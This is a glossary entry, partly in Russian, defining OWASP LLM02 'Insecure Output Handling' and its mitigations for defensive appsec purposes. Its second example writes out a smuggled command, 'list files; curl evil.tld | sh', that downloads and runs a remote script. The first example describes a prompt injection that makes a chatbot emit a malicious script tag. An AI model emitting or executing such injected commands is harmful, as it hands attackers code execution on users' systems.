Insecure Output Handling
Что такое Insecure Output Handling?
Insecure Output HandlingOWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF.
Insecure Output Handling is item LLM02 in the OWASP Top 10 for LLM Applications. It captures a deceptively simple mistake: treating model output as trusted text. When an application renders LLM responses in HTML, evaluates them as JavaScript, concatenates them into shell commands, executes them as code, or stuffs them into SQL, an attacker who can influence the prompt (directly or indirectly via retrieved content) controls whatever downstream sink consumes that output. The model becomes a confused-deputy that crosses trust boundaries on behalf of the attacker. Mitigations are conventional appsec hygiene applied to the LLM's egress: escape, sanitize, or template all output before HTML rendering; refuse to execute model-generated code outside a sandbox; validate structured outputs (e.g. JSON Schema, function-call argument types) before dispatch; require explicit allowlists for tools that take string arguments; and treat the LLM as an untrusted parser of intent, not a trusted producer of code.
● Примеры
- 01
A markdown chatbot renders model output as HTML; an injection causes it to emit a malicious script tag that fires for every viewer.
- 02
An assistant returns a shell command that the app pipes into bash; a prompt injection turns 'list files' into 'list files; curl evil.tld | sh'.
● Частые вопросы
Что такое Insecure Output Handling?
OWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF. Относится к категории Безопасность ИИ и ML в кибербезопасности.
Что означает Insecure Output Handling?
OWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF.
Как работает Insecure Output Handling?
Insecure Output Handling is item LLM02 in the OWASP Top 10 for LLM Applications. It captures a deceptively simple mistake: treating model output as trusted text. When an application renders LLM responses in HTML, evaluates them as JavaScript, concatenates them into shell commands, executes them as code, or stuffs them into SQL, an attacker who can influence the prompt (directly or indirectly via retrieved content) controls whatever downstream sink consumes that output. The model becomes a confused-deputy that crosses trust boundaries on behalf of the attacker. Mitigations are conventional appsec hygiene applied to the LLM's egress: escape, sanitize, or template all output before HTML rendering; refuse to execute model-generated code outside a sandbox; validate structured outputs (e.g. JSON Schema, function-call argument types) before dispatch; require explicit allowlists for tools that take string arguments; and treat the LLM as an untrusted parser of intent, not a trusted producer of code.
Как защититься от Insecure Output Handling?
Защита от Insecure Output Handling обычно сочетает технические меры и операционные практики, как описано в определении выше.
Какие есть другие названия Insecure Output Handling?
Распространённые альтернативные названия: LLM02, Unsanitized LLM output.
● Связанные термины
- ai-security№ 870
OWASP LLM Top 10
Список OWASP с десятью наиболее критическими рисками безопасности для приложений, построенных на больших языковых моделях.
- ai-security№ 969
Промпт-инъекция
Атака, при которой во входной запрос LLM встраивается враждебный текст, переопределяющий исходные инструкции и заставляющий модель игнорировать ограничения или выполнять действия злоумышленника.
- ai-security№ 586
Косвенная промпт-инъекция
Разновидность промпт-инъекции, при которой вредоносные инструкции скрыты в стороннем контенте (веб-страницы, документы, письма), который LLM затем получает через поиск, браузер или вызовы инструментов.
- attacks№ 265
Межсайтовый скриптинг (XSS)
Веб-уязвимость, позволяющая злоумышленнику внедрять вредоносные скрипты на страницы, просматриваемые другими пользователями, и выполнять их в браузере жертвы под источником сайта.
- attacks№ 224
Внедрение команд
Атака, при которой пользовательский ввод без фильтрации передаётся в системный шелл, и приложение выполняет команды, заданные злоумышленником.
- ai-security№ 1285
Tool-Use Injection
Attacks that manipulate an LLM agent's tool-calling layer — forging tool arguments, smuggling instructions through tool outputs, or coaxing the model into calling unsanctioned tools.